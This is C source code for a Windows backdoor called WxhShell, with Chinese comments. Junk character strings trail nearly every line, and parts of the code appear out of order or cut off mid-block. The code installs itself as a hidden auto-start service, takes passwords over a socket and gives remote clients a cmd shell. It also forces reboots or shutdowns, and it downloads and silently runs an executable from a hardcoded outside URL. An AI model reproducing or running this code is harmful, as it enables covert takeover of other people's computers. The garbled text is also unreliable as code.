    if(Boot(SHUTDOWN)) Z1t?+v+Ro*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dY'mY~Tv  
    else { t@(`24  
    closesocket(wsh); `0qBuE_^h  
    ExitThread(0); X\a*q]"_  
    } kA1C&  
    break; D'! v9}  
    } '`K-rvF,C  
  // 获取shell ^XIVWf#`H  
  case 's': { |dxcEjcY_  
    CmdShell(wsh); Zoi\r  
    closesocket(wsh); l1h;ng6  
    ExitThread(0); ]U8VU  
    break; ?t JyQT  
  } 2W_p)8t> b  
  // 退出 8.'[>VzBL  
  case 'x': { q|23l1 PI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1JIo,7  
    CloseIt(wsh); 3i c6!T#t"  
    break; )t-Jc+*A>  
    } { eU_  
  // 离开 ~fDMzOd  
  case 'q': { z+Cw*v\Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  d Xiv8B1  
    closesocket(wsh); xp4w9.X5(  
    WSACleanup(); yl=_ /'*  
    exit(1); UY!N"[&  
    break; 5:o$]LkOWC  
        } d? Old  
  } lhk[U!>#  
  } .|pyloL.  
u6,NQ^4  
  // 提示信息 I,:R~^qJ8v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TC=djC4$/  
} o?Wp[{K  
  } h5:>o  
m\}8N u  
  return; !p4y@U{  
} z`^DQ8+\j  
?)ROQ1-#@  
// shell模块句柄 g@<E0 q&`$  
int CmdShell(SOCKET sock) bHi0N@W!vG  
{ krw_1Mm  
STARTUPINFO si; c:R`]4o  
ZeroMemory(&si,sizeof(si)); Dj~]]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y~</vz+H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y$]gmg  
PROCESS_INFORMATION ProcessInfo; 4a&*?=GG  
char cmdline[]="cmd"; TaZw_)4c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *f?z$46  
  return 0; Gg\805L@  
} Kc>C$}/}$  
x1$:u6YD22  
// 自身启动模式 &@c?5Ie5  
int StartFromService(void) vtv^l 3  
{ JVoW*uA  
typedef struct $E_9AaX  
{ }[[  
  DWORD ExitStatus; vu&%e\gM  
  DWORD PebBaseAddress; Zj*kHjn"  
  DWORD AffinityMask; ?3{R'Buv]  
  DWORD BasePriority; lO)0p2  
  ULONG UniqueProcessId; ZwV`} 2{  
  ULONG InheritedFromUniqueProcessId; C{i9~80n  
}   PROCESS_BASIC_INFORMATION; gm-I)z!tz  
Z=B6fu*  
PROCNTQSIP NtQueryInformationProcess; fcuU,A  
VPKoBJ&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nvlfi8.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ylQ \Y'  
P~>E  
  HANDLE             hProcess; j &#A 9!  
  PROCESS_BASIC_INFORMATION pbi; )]=1W  
FAS+*G Fz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =9lrPQ]w  
  if(NULL == hInst ) return 0; ^k'?e"[gTs  
]<pnHh+2A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &?],uHB?d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $/*6tsR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Tr^Egw]  
T[z]~MJL  
  if (!NtQueryInformationProcess) return 0; gbf-3KSp^  
Mp V3.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %7X<:f|N8x  
  if(!hProcess) return 0; \WDL?(G<  
Y1?"Ut  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /-#1ys#F=  
Lv`*+;1 K  
  CloseHandle(hProcess); B]`!L/  
n>)'!   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0g-bApxz*&  
if(hProcess==NULL) return 0; ,_JhvPWR,)  
uN:|4/;{&  
HMODULE hMod; pzo9?/-  
char procName[255]; >y2;sJ4]D%  
unsigned long cbNeeded; wH=L+bA>a  
COE,pb17  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RG'Ft]l92N  
yzvNv]Z'*  
  CloseHandle(hProcess); M  `QYrH  
cB;:}Q08#  
if(strstr(procName,"services")) return 1; // 以服务启动 *Cdw"n  
,&DK*LT8U  
  return 0; // 注册表启动 .`iG} j)\  
} ElAho3 W  
I^M %+\  
// 主模块 q(i^sE[y  
int StartWxhshell(LPSTR lpCmdLine) $`2rtF  
{ fZ9EE3  
  SOCKET wsl; yj^LX2x"  
BOOL val=TRUE; -xJ_5  
  int port=0; KtT.WHr(m  
  struct sockaddr_in door; <Rs#y:  
}~?B>vZS  
  if(wscfg.ws_autoins) Install(); kQ,#NR/q6  
}!5x1F!  
port=atoi(lpCmdLine); B!`Dj,_  
P87!+pB(  
if(port<=0) port=wscfg.ws_port; h>'9-j6B  
|WopsV %  
  WSADATA data; pjC2jlwm*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b7 pD#v  
X5@S LkJ-`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^w0V{qF{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 61Z#;2]  
  door.sin_family = AF_INET; Qy)+YhE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xq3n7d.  
  door.sin_port = htons(port); LvWl*:z  
,0'Yj?U>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >m}U|#;W  
closesocket(wsl); K[wOK  
return 1; |x2 +O  
} 1'skCR|!<  
^i"C%8  
  if(listen(wsl,2) == INVALID_SOCKET) { ^2gDhoO_  
closesocket(wsl); +`EF0sux  
return 1;  T4}SF  
} `y&d  
  Wxhshell(wsl); t/;@~jfr@  
  WSACleanup(); \m.ap+dFa  
j@kL`Q\&I  
return 0; /`M> 3q[  
hEO#uAR^Z  
} 4H7 3a5f  
9;Z2.P"w  
// 以NT服务方式启动 63s<U/N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4?#0fK  
{ ?[$=5?  
DWORD   status = 0; BrW1:2w >\  
  DWORD   specificError = 0xfffffff; ;2o+|U@  
"2>I?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0jS"PH?[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]r #YU0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g$&uD  
  serviceStatus.dwWin32ExitCode     = 0; -hM nA)+  
  serviceStatus.dwServiceSpecificExitCode = 0; u N%RB$G  
  serviceStatus.dwCheckPoint       = 0; _eB?G  
  serviceStatus.dwWaitHint       = 0; Gj[+{  
MA:2]l3e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hpo/CY/  
  if (hServiceStatusHandle==0) return; 0-)D`s%  
$ae*3L>5M  
status = GetLastError(); b.qp&2A  
  if (status!=NO_ERROR) nI1DLVt  
{ _3q%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h[5<S&  
    serviceStatus.dwCheckPoint       = 0; KY)r kfo B  
    serviceStatus.dwWaitHint       = 0; "3!!G=s P  
    serviceStatus.dwWin32ExitCode     = status; M7Pvc%\)  
    serviceStatus.dwServiceSpecificExitCode = specificError; VZOf|o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  b>N) H  
    return; 8>: kv:MId  
  } 89I[Dg;"u  
_$<Q$P6y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M`W%nvEDE  
  serviceStatus.dwCheckPoint       = 0; %5X}4k!p  
  serviceStatus.dwWaitHint       = 0; ;WQ@dC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,/.U'{  
} )P6n,\  
gTI!b  
// 处理NT服务事件,比如:启动、停止 ^wL n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jjb(lW  
{ 8S&Kf>D  
switch(fdwControl) G)(\!0pNZ  
{ _":yUa0D  
case SERVICE_CONTROL_STOP: U @Il:\I  
  serviceStatus.dwWin32ExitCode = 0; Oeo:V"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Wsn}Y-x  
  serviceStatus.dwCheckPoint   = 0; njk.$]M|nf  
  serviceStatus.dwWaitHint     = 0; ILt95l  
  { &9CKI/K:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >wK ^W{  
  } q&IO9/[dk  
  return; zy(i]6  
case SERVICE_CONTROL_PAUSE: P)fv:a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^}XKhn.S'  
  break; @`:n+r5u  
case SERVICE_CONTROL_CONTINUE: tuA,t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "ei*iUBN:  
  break; _=c>>X  
case SERVICE_CONTROL_INTERROGATE: RUTlwTdv  
  break; eSZS`(#!(  
}; 3F,$} r#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9wP_dJvb  
} %K^l]tWa@  
w=I' CMRt  
// 标准应用程序主函数 QMI&?Q:=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lm<"W_  
{ T`g.K6$b  
/#Y)nyE  
// 获取操作系统版本 _A*5BAB:h(  
OsIsNt=GetOsVer(); ~mc7O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7%Zl^c>q  
`d#l o  
  // 从命令行安装 zdCeOZ 6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4[z a|t  
DSY:aD!  
  // 下载执行文件 &sL(|>N  
if(wscfg.ws_downexe) { v*%#Fp,g8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lkf(t&vL2  
  WinExec(wscfg.ws_filenam,SW_HIDE); SCk2D!u  
} -UaUFJa8K&  
D'aq^T'  
if(!OsIsNt) { >:M3!6H_~{  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^Ye i9bXl  
HideProc(); $ WAFr  
StartWxhshell(lpCmdLine); @SA*7[?P  
} (#* 7LdZ  
else W=M`Bkw{  
  if(StartFromService()) wZVY h  
  // 以服务方式启动 ^yH!IRRAq  
  StartServiceCtrlDispatcher(DispatchTable); n(.y_NEgV!  
else ]gYnw;W$  
  // 普通方式启动 2Yt#%bj7^  
  StartWxhshell(lpCmdLine); 5EDN 9?a  
o{yEF1,c\  
return 0; \1'3--n  
} 3*$A;%q  
@-bX[}.  
&P&LjHFK  
V6"<lK8"  
=========================================== #|fa/kb~  
vCT5do"C&  
fk)ts,p?  
tS,nO:+x  
|du@iA]dP  
*,hS-  
"  t4pc2b  
m "\jEfjO  
#include <stdio.h> > 4ex:Z  
#include <string.h> b7g\wnV8z  
#include <windows.h> yfeX=h  
#include <winsock2.h> )n 1b  
#include <winsvc.h> Ddde, WJA  
#include <urlmon.h> ~H/|J^ J  
yiGq?WA7  
#pragma comment (lib, "Ws2_32.lib") naCPSsei  
#pragma comment (lib, "urlmon.lib") 2b xkZS]  
'EJ8)2  
#define MAX_USER   100 // 最大客户端连接数 /*g3TbUs  
#define BUF_SOCK   200 // sock buffer WyVFh AuU  
#define KEY_BUFF   255 // 输入 buffer Eq^k @  
k|Vq-w  
#define REBOOT     0   // 重启 Zh`lC1l'  
#define SHUTDOWN   1   // 关机 ~\`lbGJ7?  
!s#25}9zX5  
#define DEF_PORT   5000 // 监听端口 qd"1KzQWO  
Ar4E $\W  
#define REG_LEN     16   // 注册表键长度 LAeJz_9U  
#define SVC_LEN     80   // NT服务名长度 g1VdP[Y#  
LY2oBX@fC  
// 从dll定义API |;_NCy8i3X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yu-e |:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #+HLb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w\k|^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C J S  
)ALPMmlRs  
// wxhshell配置信息 M>dP 1  
struct WSCFG { I&]d6,  
  int ws_port;         // 监听端口 HXhz|s0  
  char ws_passstr[REG_LEN]; // 口令 'Ca6cm3Tg  
  int ws_autoins;       // 安装标记, 1=yes 0=no \bqIe}3V7  
  char ws_regname[REG_LEN]; // 注册表键名 PHl{pE*  
  char ws_svcname[REG_LEN]; // 服务名 &=H{ 36i@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w*<XPBi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NR-d|`P;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?>5[~rMn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GqumH/;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o9ZHa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GVk&n"9kp  
:@)UI,  
}; SA&0f&07i  
F>Rz}-Fy  
// default Wxhshell configuration x@I*(I  
struct WSCFG wscfg={DEF_PORT, <l]P <N8^  
    "xuhuanlingzhe", u Jy1vI  
    1, YO7Y1(`  
    "Wxhshell", Wr Ht  
    "Wxhshell", l T~RH0L  
            "WxhShell Service", Kk1591'  
    "Wrsky Windows CmdShell Service", HQ~`ha.  
    "Please Input Your Password: ", %JM:4G|q  
  1, '_,/N!-V  
  "http://www.wrsky.com/wxhshell.exe", O,R5csMh  
  "Wxhshell.exe" GZ0? C2\  
    }; 5ckL=q"+/  
p3ox%4  
// 消息定义模块 j_*$ Avy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JP`$A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &C<K|F!j!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D7|[:``  
char *msg_ws_ext="\n\rExit.";  (n+2z"/  
char *msg_ws_end="\n\rQuit."; O=UXe]D  
char *msg_ws_boot="\n\rReboot..."; :;W[@DeO[  
char *msg_ws_poff="\n\rShutdown..."; H-A?F ^#  
char *msg_ws_down="\n\rSave to "; y\K r@;q0w  
 H"czF  
char *msg_ws_err="\n\rErr!"; K}"xZy Tm1  
char *msg_ws_ok="\n\rOK!"; l+!!S"=8)~  
KBJw7rra  
char ExeFile[MAX_PATH]; pSp/Qpb-B  
int nUser = 0; DhZuQpH  
HANDLE handles[MAX_USER]; VZo[\sWf  
int OsIsNt; ,Oa-AF/p  
stuj,8  
SERVICE_STATUS       serviceStatus; >QO^h<.>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )3 #gpM  
!.1oW(  
// 函数声明 ^Pl(V@  
int Install(void); c} )U:?6  
int Uninstall(void); 3/c3e{,!  
int DownloadFile(char *sURL, SOCKET wsh); 85CH% I#  
int Boot(int flag); li'h&!|]  
void HideProc(void); c'cK+32  
int GetOsVer(void); -4ry)isYx  
int Wxhshell(SOCKET wsl); {<&i4;  
void TalkWithClient(void *cs); @_s`@ ,=  
int CmdShell(SOCKET sock); Ie{98  
int StartFromService(void); Qt`hUyL  
int StartWxhshell(LPSTR lpCmdLine); #HFB* >  
p=%Vo@*]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HS>(y2}'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !/] F.0  
>qj.!npQD  
// 数据结构和表定义 K~'!JP8@  
SERVICE_TABLE_ENTRY DispatchTable[] = z~&uLu  
{ -^sW{s0Rc  
{wscfg.ws_svcname, NTServiceMain}, `roos<F1D  
{NULL, NULL} < kyT{[e+6  
}; Zjqa n  
)!6JSMS  
// 自我安装 ro|mW P0  
int Install(void) -]""Jl^  
{ Zjis0a]v~k  
  char svExeFile[MAX_PATH]; (:9yeP1  
  HKEY key; k(LZ,WSR  
  strcpy(svExeFile,ExeFile); {!!df.h  
E;!pK9wL|  
// 如果是win9x系统,修改注册表设为自启动 $A~UA  
if(!OsIsNt) { zVN/|[KP4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GL;@heP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y/=:F=H@w  
  RegCloseKey(key); Gk_%WY*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U\aP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <Sds5 d  
  RegCloseKey(key); +B(x:hzY9  
  return 0; {UqSq  
    } wM.z/r\p  
  } g4b-~1[S  
} j("$qp v  
else { \H(r }D$u<  
_vOV(#q2a  
// 如果是NT以上系统,安装为系统服务 ,n\"zYf ]^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _Z~cJIEU  
if (schSCManager!=0) =KQQS6  
{ wEju`0#;  
  SC_HANDLE schService = CreateService O-m=<Fk> D  
  ( 8Aq [@i  
  schSCManager, 5)h#NkA\J  
  wscfg.ws_svcname, &L7u//  
  wscfg.ws_svcdisp, C]S~DK1  
  SERVICE_ALL_ACCESS, B ~u9"SR.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6oTWW@  
  SERVICE_AUTO_START, {g8uMt\4  
  SERVICE_ERROR_NORMAL, kk|7{83O  
  svExeFile, GJZGHUB=>  
  NULL, PJd7t% m;  
  NULL, h>ZNPP8N  
  NULL, Oi#4|*b{W  
  NULL, ]vj.s/F~  
  NULL 758`lfz=_  
  ); ;]*V6!6RR  
  if (schService!=0) wQ1_Q8:Z  
  { 'Br:f_}  
  CloseServiceHandle(schService); y98 v  
  CloseServiceHandle(schSCManager); s|er+-'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2n]UNC  
  strcat(svExeFile,wscfg.ws_svcname); ~K'e}<-G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9Z?P/ o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M:t!g %  
  RegCloseKey(key); l^`& Tnzv  
  return 0; .II*wK k  
    } { 'A`ram  
  } 'iQ  
  CloseServiceHandle(schSCManager); &d,chb (  
} ~nit~ ;  
} `As| MYv  
&[u>^VO8  
return 1; :LE0_ .  
} lKVy{X 3]*  
j@chSk"K  
// 自我卸载 R%gkRx[  
int Uninstall(void) '8%pEl^  
{ +Dvdv<+  
  HKEY key; 2Y~UeJ_\Lq  
TtZZjeg+V  
if(!OsIsNt) { TcB^Sctf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Iq W@|N  
  RegDeleteValue(key,wscfg.ws_regname); ~bm VpoI  
  RegCloseKey(key); _(J;!,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T,' {0q  
  RegDeleteValue(key,wscfg.ws_regname); ZtzSG@f  
  RegCloseKey(key); QuF76&)7  
  return 0; Xk2M.:3`  
  } {?2jvv  
} N=2BrKb)o  
} rw CFt6;v  
else { rbC4/9G\  
\R!.VL3Tx$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O $dcy!  
if (schSCManager!=0) 0QzUcr)3+  
{  ywQ>T+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iJ8 5okv'  
  if (schService!=0) 8PN/*Sa  
  { 0P MF)';R  
  if(DeleteService(schService)!=0) { \o|5 /N  
  CloseServiceHandle(schService); 1yFVF  
  CloseServiceHandle(schSCManager);  L#  
  return 0; yQP!Vt^  
  } aJ!(c}N~97  
  CloseServiceHandle(schService); +jpaBr-O#  
  } S7|6dwQ&  
  CloseServiceHandle(schSCManager); xg:r5Z/|)  
} 25bbuhss  
} I JPpF`  
d3nx"=Cy0I  
return 1; t=-t xnlr<  
} nqp:nw  
/mdPYV  
// 从指定url下载文件 #F>7@N:5  
int DownloadFile(char *sURL, SOCKET wsh) ^*6So3  
{ }JP0q  
  HRESULT hr; S\\3?[!p  
char seps[]= "/"; X jJV  
char *token; tYe+7s  
char *file; Z`FEB0$  
char myURL[MAX_PATH]; ' 91-\en0  
char myFILE[MAX_PATH]; \>B$x@-wg  
t^8 ii  
strcpy(myURL,sURL); Nu/D$m'PY  
  token=strtok(myURL,seps); o+NPe36  
  while(token!=NULL) 73n|G/9n[  
  { |iGfX,C|  
    file=token; xgdS]Sz  
  token=strtok(NULL,seps); Gky e  
  } EnM }H9A  
 9S<87sO  
GetCurrentDirectory(MAX_PATH,myFILE); FJ/>=2^B  
strcat(myFILE, "\\"); <N4)X"s  
strcat(myFILE, file); S]Y3nI  
  send(wsh,myFILE,strlen(myFILE),0); TT85G&#  
send(wsh,"...",3,0); %VV\biO]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rNi]|)-ET  
  if(hr==S_OK) %i!=.7o.  
return 0; .Lwp`{F/  
else .J/x@  
return 1; kiah,7V/  
z;c~(o@4  
} 7o+JQ&fF;  
;~A-32;Y4  
// 系统电源模块 Fwu:x.(  
int Boot(int flag) iRbTH}4i  
{ uG5RE  
  HANDLE hToken; O^Y}fo'  
  TOKEN_PRIVILEGES tkp; =up!lg^M  
)aV\=a |A  
  if(OsIsNt) { "mbjS(-eg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }NH\Q$IU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fXL&?~fS  
    tkp.PrivilegeCount = 1; QU#u5sX A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wgN)*dpuI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A`5/u"]*D  
if(flag==REBOOT) { d`XC._%^J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CMcS4X9/}  
  return 0; 34D7qR  
} [!g$|   
else { vb&1 S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =XRTeIZ  
  return 0; &Zzd6[G+  
} +vDEDOS1  
  } +#B4Z'nT  
  else { 1X ?9Ji)h  
if(flag==REBOOT) { m'!smS x8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *mvDh9v  
  return 0; ;0Vyim)S]  
} rXIFCt8J  
else { k=nN#SMn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?k|}\l[X1  
  return 0; D2,2Yy5 y  
} NcuZw?  
} #mK/xbW  
,qj1"e  
return 1; F6L}n-p5  
} -T,/S^  
Y%OJ3B(n|  
// win9x进程隐藏模块 (O[:-Aqm  
void HideProc(void) `rwzCwA1  
{ N!W# N$  
5xS ze;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $i|c6&  
  if ( hKernel != NULL ) O<*l"fw3  
  { ]-rhc.Gk@1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ym]12PAU5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5PcN$r"P  
    FreeLibrary(hKernel); KTmduf7DL  
  } Ar;uq7c,G  
q2$-U&  
return; ]_hrYjX;  
} >*wF~G*k  
1"hd5a  
// 获取操作系统版本 w!5@PJ)~U  
int GetOsVer(void) D*nNu]|j  
{ .uoQ@3  
  OSVERSIONINFO winfo; 7A@iu*t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b|rMmx8vA  
  GetVersionEx(&winfo); dj;Zzt3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZH1W#dt`[  
  return 1; 3iKy>  
  else \ZOH3`vq  
  return 0; l DWg%pI+  
} +WH|nV~lQ  
#W]4aZ1  
// 客户端句柄模块 #A:+|{H"  
int Wxhshell(SOCKET wsl) ]N& Y25oT5  
{ #GlQwk3  
  SOCKET wsh; m|CB')  
  struct sockaddr_in client; u2FD@Xq?  
  DWORD myID; 0afDqvrC6  
z_ 01*O  
  while(nUser<MAX_USER) CyWMr/'  
{ $:4* ?8 K2  
  int nSize=sizeof(client); 2#XYR>[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jc3Z1Tt  
  if(wsh==INVALID_SOCKET) return 1; hoDE*>i  
+H4H$H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NDqvt$  
if(handles[nUser]==0) 0DZ}8"2  
  closesocket(wsh); )' hOW*v  
else Q4[^JQsR2  
  nUser++; Y30T>5  
  } #+Pk_?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O} &%R:  
eM) I%  
  return 0; )tD[Ffvr  
} c1wP/?|.>  
FG6bKvEQm^  
// 关闭 socket wuV*!oefo  
void CloseIt(SOCKET wsh) MB"TwtW  
{ y$Y*%D^w  
closesocket(wsh); ov9+6'zya  
nUser--; \\D(St  
ExitThread(0); V~~4<?=A  
} 4[.DQ#r  
'=V!Y$tn  
// 客户端请求句柄 rD?G7l<~>_  
void TalkWithClient(void *cs) q!y6 K*  
{ :|5 \XV)>  
O^L#(8bC  
  SOCKET wsh=(SOCKET)cs; w y\0o  
  char pwd[SVC_LEN]; J?1U'/Wx2  
  char cmd[KEY_BUFF]; "J_#6q*  
char chr[1]; p!_3j^"{  
int i,j; [2l2w[7Rid  
<aPbKDF~V  
  while (nUser < MAX_USER) { lR8Lfa*/7  
"dItv#<:}  
if(wscfg.ws_passstr) { e{}oQK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _[:>!ekx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  A|90Ps  
  //ZeroMemory(pwd,KEY_BUFF); :MFF*1  
      i=0; fp)%Cr  
  while(i<SVC_LEN) { 6`JY:~V"  
>%?kp[  
  // 设置超时 yd>b2 M  
  fd_set FdRead; tEbR/? ,GI  
  struct timeval TimeOut;  L#>^R   
  FD_ZERO(&FdRead); Fs}vI~}  
  FD_SET(wsh,&FdRead); 1v M'yr$  
  TimeOut.tv_sec=8; CwL8-z0 Jn  
  TimeOut.tv_usec=0; ?\.DG`Zxc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R?E< }\!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /]@1IC{Lk  
-KA Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zai:?%^  
  pwd=chr[0]; O`rKxP  
  if(chr[0]==0xd || chr[0]==0xa) { Fo:60)Lr  
  pwd=0; N0POyd/rL  
  break; sPxDo?1x-  
  }  qH9bo-6  
  i++; Ix59(g  
    } p G-9H3[f#  
J4l \  
  // 如果是非法用户,关闭 socket 1. S?(1e"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T4fVZd)x  
} gbvMS*KQz  
_B6W:k|-7l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S@^o=B]]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \ y}!yrQ  
5BAGIO<w  
while(1) { A(84cmq!q  
~\]lMsk+  
  ZeroMemory(cmd,KEY_BUFF); QMQ\y8E  
"IuHSjP  
      // 自动支持客户端 telnet标准   6>)oG6  
  j=0; ?? 2x*l1  
  while(j<KEY_BUFF) { ?igA+(.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'L5ih|$>  
  cmd[j]=chr[0]; t E(_Cg  
  if(chr[0]==0xa || chr[0]==0xd) { DV!10NqUr  
  cmd[j]=0; {^V9?^?d (  
  break; G 5!J9@Yi  
  } $Le|4Hj  
  j++; my+2@ln  
    } 0=erf62=  
rUxjm\  
  // 下载文件 2AdO   
  if(strstr(cmd,"http://")) { )C&'5z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #]5A|-O^  
  if(DownloadFile(cmd,wsh)) >[r,X$]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UpFm3gKF  
  else HS@ EV iht  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E(p#Je|@[  
  } !4vepa}Y  
  else { MG-#p8  
8k_cC$*Ng  
